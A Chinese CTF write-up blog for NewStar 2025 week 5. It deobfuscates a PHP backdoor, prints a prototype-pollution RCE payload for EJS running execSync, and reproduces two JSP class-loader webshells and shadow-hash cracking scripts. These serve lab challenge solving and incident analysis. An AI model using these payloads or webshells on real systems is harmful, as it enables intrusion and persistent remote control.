1 $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iT3Bab2FncnlYTkpDSFF6Zm5BV2RrcUVNam12UmV1VGJsd2lCVklLRHhzUGN0RllTR1VMaGFHcm9mcVhlY2lPbHdQTEFkellGam5JU0RUVWttSEJnVktXeU5oc2JSSnZFWkNweFF1TXR2YjlLZnd6cWJQR0dyMjVVRVROQUZjaVZFVjl0cFQ5ZUZsdDBFZE5Wc0JKaWxkaVZGQzkwZlkxVmMyUkdnWVYwc2J6R2FLMHNPUXJHZ1F1cXZ4emRNVzlXcFlpWHJROVVFVzVLZnd6ZGFLMHNPUXR0cDJKcXZ4emR4eHlvcFlpWGh3VlVGeElkYUswc01lb25obGtEZzJrVmhiMHFoREsvRVF0S2hRVlRzUTFqaXh0RU9DOXdrTmtnTzJySnBZRWVPMTBHdkIwZGFiRkRTRGo0cEJ1MnJCeURwWUlMaUJ1NGlMT3RwRFAzclFoUlNZdUtpVFNkc2NaenJjcnRnbHRFT0M5UEIxaXVZZUZEZ1lQZGN4ajdBQjgraERKcXNXb1ViUEczZlFWSnJ4em9TeFY3YlBvT2ZZcHFzbENUZllSVmMyTjRmY2kwRWVxanJUVkpyeGpHaHdKaWxxak9yVFZKck45S0Zja0FwMjlIRlFOSEZ3U29PUXJHZ1F1Sk9RdHRwMkpIT1FpVXJRdUdhSzBzbGMwaWxxVjFFMlJWcmN6b2lCektTbGo3YlBvT2gzTkhnUVZIZmV0QWMwck9CSU5BY2VqN2JQRzliUG8vdnE9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs=")); ?>"
继续解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 import base64import urllib.parsedef decrypt_php_obfuscated (code ): print ("=" * 60 ) print ("PHP混淆代码解密" ) print ("=" * 60 ) lines = code.strip().split('\n' ) for line in lines: if '$O00OO0=urldecode' in line: url_encoded = line.split('"' )[1 ] decoded = urllib.parse.unquote(url_encoded) print (f"1. 解码 $O00OO0: {decoded} " ) print (f" 长度: {len (decoded)} " ) char_table = list (decoded) print (f" 字符表索引: {list (enumerate (char_table))} " ) O00O0O = char_table[3 ] + char_table[6 ] + char_table[33 ] + char_table[30 ] print (f"2. $O00O0O = '{O00O0O} '" ) O0OO00 = char_table[33 ] + char_table[10 ] + char_table[24 ] + char_table[10 ] + char_table[24 ] print (f"3. $O0OO00 = '{O0OO00} '" ) OO0O00 = O0OO00[0 ] + char_table[18 ] + char_table[3 ] + O0OO00[0 ] + O0OO00[1 ] + char_table[24 ] print (f"4. $OO0O00 = '{OO0O00} '" ) OO0000 = char_table[7 ] + char_table[13 ] print (f"5. $OO0000 = '{OO0000} '" ) O00O0O += char_table[22 ] + char_table[36 ] + char_table[29 ] + char_table[26 ] + char_table[30 ] + char_table[32 ] + char_table[35 ] + char_table[26 ] + char_table[30 ] print (f"6. $O00O0O (最终) = '{O00O0O} '" ) break for line in lines: if 'eval($O00O0O("' in line or 'eval(' in line: start = line.find('"' ) + 1 end = line.rfind('"' ) if start > 0 and end > start: b64_str = line[start:end] print (f"\n7. 找到Base64字符串 (长度: {len (b64_str)} )" ) try : decoded = base64.b64decode(b64_str).decode('utf-8' , errors='ignore' ) print (f" 解码结果 (base64_decode):" ) print (f" {decoded[:200 ]} ..." ) except : print (" base64_decode 失败" ) try : import zlib b64_decoded = base64.b64decode(b64_str) try : decompressed = zlib.decompress(b64_decoded).decode('utf-8' , errors='ignore' ) print (f" 解码结果 (gzuncompress + base64_decode):" ) print (f" {decompressed[:200 ]} ..." ) except : print (" gzuncompress 失败" ) except : pass if O00O0O == 'b5h9ywyr9esr9' : print (f"\n8. $O00O0O = '{O00O0O} ' 可能是 'base64_decode'" ) print ("\n" + "=" * 60 ) print ("变量总结:" ) print ("=" * 60 ) print (f"$O00OO0: 字符表" ) print (f"$O00O0O: {O00O0O} (可能函数名)" ) print (f"$O0OO00: {O0OO00} " ) print (f"$OO0O00: {OO0O00} " ) print (f"$OO0000: {OO0000} " ) return O00O0O, b64_str def brute_force_decode (b64_str, possible_func ): """尝试不同的解码方式""" print ("\n" + "=" * 60 ) print ("暴力破解解码" ) print ("=" * 60 ) php_functions = { 'base64_decode' : lambda x: base64.b64decode(x).decode('utf-8' , errors='ignore' ), 'gzuncompress' : lambda x: zlib.decompress(base64.b64decode(x)).decode('utf-8' , errors='ignore' ), 'gzinflate' : lambda x: zlib.decompress(base64.b64decode(x), -15 ).decode('utf-8' , errors='ignore' ), 'str_rot13' : lambda x: codecs.encode(base64.b64decode(x).decode(), 'rot_13' ), } try : import zlib import codecs for func_name, decode_func in php_functions.items(): try : result = decode_func(b64_str) print (f"\n尝试 {func_name} :" ) print (f"结果前200字符:" ) print (f"{result[:200 ]} ..." ) if 'eval' in result or 'system' in result or 'shell_exec' in result: print (f"⚠️ 发现可疑代码!" ) except Exception as e: continue except ImportError: print ("需要导入 zlib 和 codecs 模块" ) try : decoded = base64.b64decode(b64_str).decode('utf-8' , errors='ignore' ) if len (decoded) > 0 : print (f"\n直接Base64解码:" ) print (f"{decoded[:500 ]} ..." ) except : pass if __name__ == "__main__" : php_code = '''$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iT3Bab2FncnlYTkpDSFF6Zm5BV2RrcUVNam12UmV1VGJsd2lCVklLRHhzUGN0RllTR1VMaGFHcm9mcVhlY2lPbHdQTEFkellGam5JU0RUVWttSEJnVktXeU5oc2JSSnZFWkNweFF1TXR2YjlLZnd6cWJQR0dyMjVVRVROQUZjaVZFVjl0cFQ5ZUZsdDBFZE5Wc0JKaWxkaVZGQzkwZlkxVmMyUkdnWVYwc2J6R2FLMHNPUXJHZ1F1cXZ4emRNVzlXcFlpWHJROVVFVzVLZnd6ZGFLMHNPUXR0cDJKcXZ4emR4eHlvcFlpWGh3VlVGeElkYUswc01lb25obGtEZzJrVmhiMHFoREsvRVF0S2hRVlRzUTFqaXh0RU9DOXdrTmtnTzJySnBZRWVPMTBHdkIwZGFiRkRTRGo0cEJ1MnJCeURwWUlMaUJ1NGlMT3RwRFAzclFoUlNZdUtpVFNkc2NaenJjcnRnbHRFT0M5UEIxaXVZZUZEZ1lQZGN4ajdBQjgraERKcXNXb1ViUEczZlFWSnJ4em9TeFY3YlBvT2ZZcHFzbENUZllSVmMyTjRmY2kwRWVxanJUVkpyeGpHaHdKaWxxak9yVFZKck45S0Zja0FwMjlIRlFOSEZ3U29PUXJHZ1F1Sk9RdHRwMkpIT1FpVXJRdUdhSzBzbGMwaWxxVjFFMlJWcmN6b2lCektTbGo3YlBvT2gzTkhnUVZIZmV0QWMwck9CSU5BY2VqN2JQRzliUG8vdnE9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs=")); ?>''' func_name, b64_data = decrypt_php_obfuscated(php_code) brute_force_decode(b64_data, func_name)
可以看到$O00O0O (最终) = ‘base64_decode’,那个base64继续解码
1 $O0O000="OpZoagryXNJCHQzfnAWdkqEMjmvReuTblwiBVIKDxsPctFYSGULhaGrofqXeciOlwPLAdzYFjnISDTUkmHBgVKWyNhsbRJvEZCpxQuMtvb9KfwzqbPGGr25UETNAFciVEV9tpT9eFlt0EdNVsBJildiVFC90fY1Vc2RGgYV0sbzGaK0sOQrGgQuqvxzdMW9WpYiXrQ9UEW5KfwzdaK0sOQttp2JqvxzdxxyopYiXhwVUFxIdaK0sMeonhlkDg2kVhb0qhDK/EQtKhQVTsQ1jixtEOC9wkNkgO2rJpYEeO10GvB0dabFDSDj4pBu2rByDpYILiBu4iLOtpDP3rQhRSYuKiTSdscZzrcrtgltEOC9PB1iuYeFDgYPdcxj7AB8+hDJqsWoUbPG3fQVJrxzoSxV7bPoOfYpqslCTfYRVc2N4fci0EeqjrTVJrxjGhwJilqjOrTVJrN9KFckAp29HFQNHFwSoOQrGgQuJOQttp2JHOQiUrQuGaK0slc0ilqV1E2RVrczoiBzKSlj7bPoOh3NHgQVHfetAc0rOBINAcej7bPG9bPo/vq==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
继续解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import base64def decode_final_php (): o0o000 = "OpZoagryXNJCHQzfnAWdkqEMjmvReuTblwiBVIKDxsPctFYSGULhaGrofqXeciOlwPLAdzYFjnISDTUkmHBgVKWyNhsbRJvEZCpxQuMtvb9KfwzqbPGGr25UETNAFciVEV9tpT9eFlt0EdNVsBJildiVFC90fY1Vc2RGgYV0sbzGaK0sOQrGgQuqvxzdMW9WpYiXrQ9UEW5KfwzdaK0sOQttp2JqvxzdxxyopYiXhwVUFxIdaK0sMeonhlkDg2kVhb0qhDK/EQtKhQVTsQ1jixtEOC9wkNkgO2rJpYEeO10GvB0dabFDSDj4pBu2rByDpYILiBu4iLOtpDP3rQhRSYuKiTSdscZzrcrtgltEOC9PB1iuYeFDgYPdcxj7AB8+hDJqsWoUbPG3fQVJrxzoSxV7bPoOfYpqslCTfYRVc2N4fci0EeqjrTVJrxjGhwJilqjOrTVJrN9KFckAp29HFQNHFwSoOQrGgQuJOQttp2JHOQiUrQuGaK0slc0ilqV1E2RVrczoiBzKSlj7bPoOh3NHgQVHfetAc0rOBINAcej7bPG9bPo/vq==" num = 52 substr1 = o0o000[0 :num] substr2 = o0o000[num:num+num] substr3 = o0o000[num*2 :] trans_table = str .maketrans(substr2, substr1) replaced_str = substr3.translate(trans_table) try : final_malicious_code = base64.b64decode(replaced_str).decode('utf-8' , errors='ignore' ) print ("=" * 70 ) print ("最终解码出的恶意PHP代码:" ) print ("=" * 70 ) print (final_malicious_code) return final_malicious_code except Exception as e: print (f"解码失败: {e} " ) return None if __name__ == "__main__" : decode_final_php()
解密得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php ignore_user_abort (true );set_time_limit (0 );$file = './backdoor.php' ;$hack = 'I hack you!' ;while (1 ){ if (!file_exists ($file )) { file_put_contents ($file ,$hack .$code ); } usleep (5000 ); } ?>
flag2的md5值是87c298a56e0caa355872ab47db11e06c,somd5查一下是ns2025,最后flag
flag{js_very_good_ns2025}
week5 web 小 W 和小 K 的故事(最终章) 首先是看到硬编码了随机数种子114514
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 class Random { constructor (seed ) { this .seed = (seed || Date .now ()) % 998244353 ; } next ( ) { this .seed = (this .seed * 48271 ) % 998244353 ; return this .seed ; } getRandomInt (min, max ) { return min + (this .next () % (max - min)); } getRandomFloat (min, max ) { return min + Math .sin (getRandomInt (0 , 10000 )) * (max - min); } getRandomString (length ) { const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" ; let result = "" ; for (let i = 0 ; i < length; i++) { result += charset.charAt (this .getRandomInt (0 , charset.length )); } return result; } } module .exports = Random ;
写一个脚本爆破一下密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 class Random : def __init__ (self, seed ): self .seed = seed % 998244353 def next (self ): self .seed = (self .seed * 48271 ) % 998244353 return self .seed def getRandomInt (self, min_val, max_val ): return min_val + (self .next () % (max_val - min_val)) def getRandomString (self, length ): charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" result = "" for i in range (length): result += charset[self .getRandomInt(0 , len (charset))] return result def main (): rng = Random(114514 ) session_secret = rng.getRandomString(16 ) print (f"Session Secret: {session_secret} " ) admin_password = rng.getRandomString(16 ) print (f"admin密码: {admin_password} " ) if __name__ == "__main__" : main()
然后接下看wp说是,js原型链污染(CVE-2019-10744)+ EJS 3.1.6 模板引擎的RCE,随便添加一个用户抓包,然后
payload
1 2 3 4 5 6 7 8 { "constructor": { "prototype": { "client": true, "escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString(); //" } } }
放包之后得到flag
被玩坏的 AI 扫一下目录有robots.txt
1 2 3 4 5 User-agent: * Allow: /find.php Disallow: /RPO/
这里就有个提示啊rpo,就是pro漏洞啊,先看看那个find.php
我们要找密码,在这有findpwd.js,直接看的话是乱码,但是文件名都这么明显了,说明passwd不在我们读的那个findpwd.js,而是在RPO目录下,但是RPO我们访问不了,就可以使用RPO漏洞读取,payload
/RPO/..%2ffind.php
具体原理参考浅析RPO漏洞攻击原理 - PlumK - 博客园 ,亲测好看
读取到passwd
然后进去第二关,考察CRLF,我们需要在http请求头中添加X-Admin: Admin,参入的参数是ua,很明显CRLF,而且题目也说了没有waf
那还说啥啊,payload
这第5周的题目对我来说还是吃不消的,还有有的题目应该是环境问题进不去。就先写这两道吧。👍👍👍
misc AI HACKER 俺不中类,这个模型附件一直上传不成功啊服了,先不写了
TIME HACKER 首先没想到附件给的压缩包也有信息啊,010打开在最后有base64编码
解码得到
1 I heard you can hack the time in different dimensions
dimension:尺寸,维度,方面 四六级这一块,应该考察时间戳
然后就是解压得到的flag.zip在文件末尾也有一段编码
Gsv kzhhdliw rh gvm wrtrgh
all in one一把梭
看wp知道这是Atbash密码,原理就是一个替换
明文:A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 密文:Z Y X W V U T S R Q P O N M L K J I H G F E D C B A
得到密码是10位数,正好时间戳就是10位,再记录一下时间戳就是从1970年1月1日(UTC/GMT的午夜)开始所经过的秒数(不考虑闰秒),用于表示一个时间点
打开附件可以看到
可以看到时间在2037-12-30 14:42到2037-12-30 14:43之间,那么前面时间戳都想相同2145768,由于分钟数和秒数的不同后三位就不同,使用掩码爆破一下
其实附件还给了一个exe程序用来校验密码是否正确。官方wp使用重复调用exe判断密码是否正确
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import timeimport subprocessdef crack_password (): password = "" exe_path = "password_checker.exe" for i in range (10 ): times = {} for c in "0123456789" : test = password + c + '0' * (9 - i) total_time = 0 for _ in range (3 ): start = time.time() subprocess.run([exe_path], input =test.encode(), capture_output=True ) total_time += time.time() - start times[c] = total_time / 3 print (times) best_char = max (times, key=times.get) password += best_char print (f"第{i+1 } 位: {best_char} -> {password} " ) print (f"密码: {password} " ) return password if __name__ == "__main__" : crack_password()
这个是爆破时间有点长要耐心等待。然后得到36张图片,刚才提到了这些图片的修改时间是在未来,将密码做为减数,每个图片的修改时间的时间戳为被减数两者做差,差值的绝对值作为ascii码然后转字符。exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import osimport timedef process_png_files (folder_path ): """ 处理指定文件夹中的1.png到36.png文件,并收集所有可打印的ASCII字符 :param folder_path: 存放图片的文件夹路径 :return: 收集到的所有可打印ASCII字符列表 """ target_number = 2145768093 collected_chars = [] for i in range (1 , 37 ): file_name = f"{i} .png" file_path = os.path.join(folder_path, file_name) if not os.path.exists(file_path): print (f"⚠️ 文件 {file_name} 不存在,跳过处理" ) collected_chars.append("[文件不存在]" ) continue try : modify_timestamp = int (os.path.getmtime(file_path)) print (f"\n📄 文件: {file_name} " ) print (f" 修改时间戳: {modify_timestamp} " ) difference = abs (modify_timestamp - target_number) print (f" 绝对值差值: {difference} " ) try : ascii_char = chr (difference) if ascii_char.isprintable(): print (f" 对应的ASCII字符: '{ascii_char} ' (ASCII码: {difference} )" ) collected_chars.append(ascii_char) else : print (f" ASCII码 {difference} 对应不可打印字符" ) collected_chars.append("[不可打印字符]" ) except ValueError: error_msg = f"ASCII码 {difference} 超出范围" print (f" ❌ {error_msg} " ) collected_chars.append(f"[{error_msg} ]" ) except Exception as e: error_msg = f"处理出错: {str (e)} " print (f"❌ 处理文件 {file_name} 时出错: {str (e)} " ) collected_chars.append(f"[{error_msg} ]" ) return collected_chars if __name__ == "__main__" : folder_path = r"E:\新建文件夹\newstar\time-hacker\flag" if not os.path.isdir(folder_path): print (f"错误:文件夹 {folder_path} 不存在!" ) else : print (f"开始处理文件夹: {folder_path} " ) all_chars = process_png_files(folder_path) print ("\n" + "=" *50 ) print ("📊 所有图片转换结果汇总(按1.png到36.png顺序):" ) print ("=" *50 ) for idx, char in enumerate (all_chars, 1 ): print (f"{idx} .png → {char} " ) valid_chars = [c for c in all_chars if not c.startswith("[" )] print ("\n🔤 所有可打印有效字符拼接:" ) print ("" .join(valid_chars)) print ("\n✅ 处理完成!" )
最后得到
aET_t_Y__HMrl4HR!e{}0ekI!acuegLr_f@e
有{}还有_就可以确定flag是按照某种顺序排列,然后再次回归图片,010打开1.png
可以看到每一张图片中还有一个时间,并且时间不一样,按照从小到大再次排列。exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 import osimport refrom datetime import datetimedef read_file_hex (png_path, read_length=200 ): """ 读取PNG文件的前N字节并转换为十六进制字符串(方便查找时间) :param png_path: 文件路径 :param read_length: 读取的字节数(默认前200字节) :return: 十六进制字符串 """ with open (png_path, 'rb' ) as f: data = f.read(read_length) hex_str = ' ' .join([f"{byte:02X} " for byte in data]) return hex_str def extract_time_from_hex (hex_str ): """ 从十六进制字符串中提取常见格式的时间 支持格式:YYYYMMDDHHMMSS(数字)、YYYY-MM-DD HH:MM:SS(带分隔符) :param hex_str: 十六进制字符串 :return: datetime对象 / None """ try : hex_clean = hex_str.replace(' ' , '' ) ascii_str = bytes .fromhex(hex_clean).decode('ascii' , errors='ignore' ) except : ascii_str = "" time_pattern1 = r'(\d{4})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})' match1 = re.search(time_pattern1, ascii_str) if match1: try : year, month, day, hour, minute, second = map (int , match1.groups()) return datetime(year, month, day, hour, minute, second) except : pass time_pattern2 = r'(\d{4})-(\d{2})-(\d{2})\s+(\d{2}):(\d{2}):(\d{2})' match2 = re.search(time_pattern2, ascii_str) if match2: try : year, month, day, hour, minute, second = map (int , match2.groups()) return datetime(year, month, day, hour, minute, second) except : pass return None def main (): folder_path = r"E:\新建文件夹\newstar\time-hacker\flag" original_chars = "aET_t_Y__HMrl4HR!e{}0ekI!acuegLr_f@e" char_mapping = {i+1 : original_chars[i] for i in range (len (original_chars))} time_char_list = [] print ("===== 第一步:读取每个文件的十六进制数据(前200字节) =====" ) for img_num in range (1 , 37 ): png_path = os.path.join(folder_path, f"{img_num} .png" ) if not os.path.exists(png_path): print (f"⚠️ {img_num} .png - 文件不存在" ) continue hex_data = read_file_hex(png_path) print (f"\n📄 {img_num} .png 十六进制片段:" ) print (f" {hex_data} " ) dt_obj = extract_time_from_hex(hex_data) if dt_obj: time_str = dt_obj.strftime("%Y-%m-%d %H:%M:%S" ) print (f" ✅ 自动提取到时间:{time_str} " ) char = char_mapping.get(img_num, "?" ) time_char_list.append((dt_obj, img_num, char, time_str)) else : print (f" ❌ 未自动提取到时间,请手动核对十六进制数据!" ) if time_char_list: time_char_list.sort(key=lambda x: x[0 ]) print ("\n" + "=" *70 ) print ("===== 第二步:按时间排序后的结果 =====" ) print ("=" *70 ) for idx, (dt, img_num, char, time_str) in enumerate (time_char_list, 1 ): print (f"排序{idx:2d} → {img_num} .png → 时间:{time_str} → 字符:'{char} '" ) sorted_result = "" .join([item[2 ] for item in time_char_list]) print ("\n🔤 最终按时间排序的字符拼接:" ) print (sorted_result) else : print ("\n❌ 未提取到任何有效时间,请先手动核对十六进制数据中的时间格式!" ) print ("\n" + "=" *70 ) if __name__ == "__main__" : main()
我这个脚本没有根据exif信息提取时间,是根据十六进制数据转换的时间,所以比较冗长。不过最后能得到flag
flag{Y0u_4re_tHe_ReaL_TIME_H@cker!!}
区块链:INTbug 分析代码
初始状态 :每个用户调用 addPoints() 或 usePoints() 时,如果 userSpentPoints[msg.sender] 为0,会被设置为1000
但是
1 2 3 if (userSpentPoints[msg.sender] > 1000) { unlocked[msg.sender] = true; }
只要输入的数大于1000就可以得到flag
还有非预期
TESTNET Sepolia (ETH) Blockchain Explorer
直接搜合约看最后一个记录,在最下面
flag{Good_NewStar2025_Byeeeee!}
应急响应:把你 mikumiku 掉(1) 按照官方配置教程连接后,先看一下历史命令
可以看到有tomcat,查看一下相关信息
版本9.0.98,直接搜一下相关cve
版本正确最后flag
flag{CVE-2025-24813}
应急响应:把你 mikumiku 掉(2) 首先先找恶意文件
查看一下文件内容
miku.jsp
1 2 <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); }
mikuu.jsp
1 2 <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("miiikuuu"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
这两个接受的参数一个是passwd,一个是miiikuuu,推测这个miiikuuu就是木马连接密码,然后看恶意用户
有一个mikuu的用户,这个就是恶意用户。
1 2 mikuu:$y$j9T$gCRCetfmd6EZeGuAZkRfn0$uZ/dNiHtjvkJDNfwMoGkJYiOkVV4UW4K0uzNr5FBeO8:20378::::::
题目提示密码是用户密码是六位特定范围内的字母构成。纵观整个题目可以确定字母是miku,长度是6位,爆破就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 import cryptimport itertoolsfrom tqdm import tqdmimport threadingimport timeshadow_hash = "$y$j9T$gCRCetfmd6EZeGuAZkRfn0$uZ/dNiHtjvkJDNfwMoGkJYiOkVV4UW4K0uzNr5FBeO8" chars = "mMkKiIuU" password_length = 6 found_password = None stop_flag = False counter = 0 counter_lock = threading.Lock() def verify_batch (batch ): """验证一批密码,更新计数器和停止信号""" global counter, found_password, stop_flag for pwd in batch: if stop_flag: return if crypt.crypt(pwd, shadow_hash) == shadow_hash: found_password = pwd stop_flag = True print (f"\n[!] 找到密码:{pwd} " ) return with counter_lock: counter += 1 def main (): all_passwords = ["" .join(p) for p in itertools.product(chars, repeat=password_length)] total = len (all_passwords) print (f"[+] 总组合数:{total:,} 个 | 字符集:{chars} " ) num_threads = 8 batch_size = total // num_threads batches = [ all_passwords[i*batch_size : (i+1 )*batch_size] for i in range (num_threads) ] batches[-1 ].extend(all_passwords[num_threads*batch_size:]) def show_progress (): start_time = time.time() with tqdm(total=total, desc="[+] 爆破进度" ) as pbar: while not stop_flag and counter < total: with counter_lock: current = counter pbar.update(current - pbar.n) time.sleep(0.3 ) pbar.update(total - pbar.n) print (f"[+] 总耗时:{time.time() - start_time:.2 f} 秒" ) progress_thread = threading.Thread(target=show_progress) progress_thread.start() threads = [] for batch in batches: t = threading.Thread(target=verify_batch, args=(batch,)) threads.append(t) t.start() for t in threads: t.join() progress_thread.join() if found_password: print (f"\n[✅] 密码:{found_password} " ) else : print ("\n[❌] 未找到(字符集可能错误)" ) if __name__ == "__main__" : main()
密码是miiiku
flag{miiikuuu_miiiku}
应急响应:把你 mikumiku 掉(3) 在/home/mikuu有两个加密文件,开个临时服务把这两个文件拉到本地,然后找我土哥让他逆向分析一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadkey = bytes .fromhex("123456789ABCDEF01122334455667788" ) iv = bytes .fromhex("19198101145140EFFEDCBA9876543210" ) with open ("flag.miku" , "rb" ) as f: f.seek(16 ) ciphertext = f.read() cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(ciphertext), 16 ) print (plaintext.decode())
[Misc] 不是所有牛奶都叫___ (挑战题)挑战题就这一道misc,放到这里写吧,这个看官方wp才知道这个题目描述的用意
什么牛奶?MN?YGNC?YL?特 @#&!+&*@!#^&——————-.
就是常见的牛奶品牌,这个后面的是特仑苏(TLC)就是TLC加密流量,那题目后面空白的就是特仑苏,找sslkey就行了,过滤http协议看一下在tcp流97发现文件
导入密钥文件后过滤http请求发现tcp50包中有base64编码,转文件得到二维码
flag{W0w_You_r3al1y_knOW_TL5&QrCode}
结语 在期末周刚开始的时候写这篇博客,中间不想复习的时候就写两道,一直到现在。总的来说还是学到了很多,同时在学习过程中也感受到了在这广袤天地自己是多渺小。继续努力吧,当一个advancer。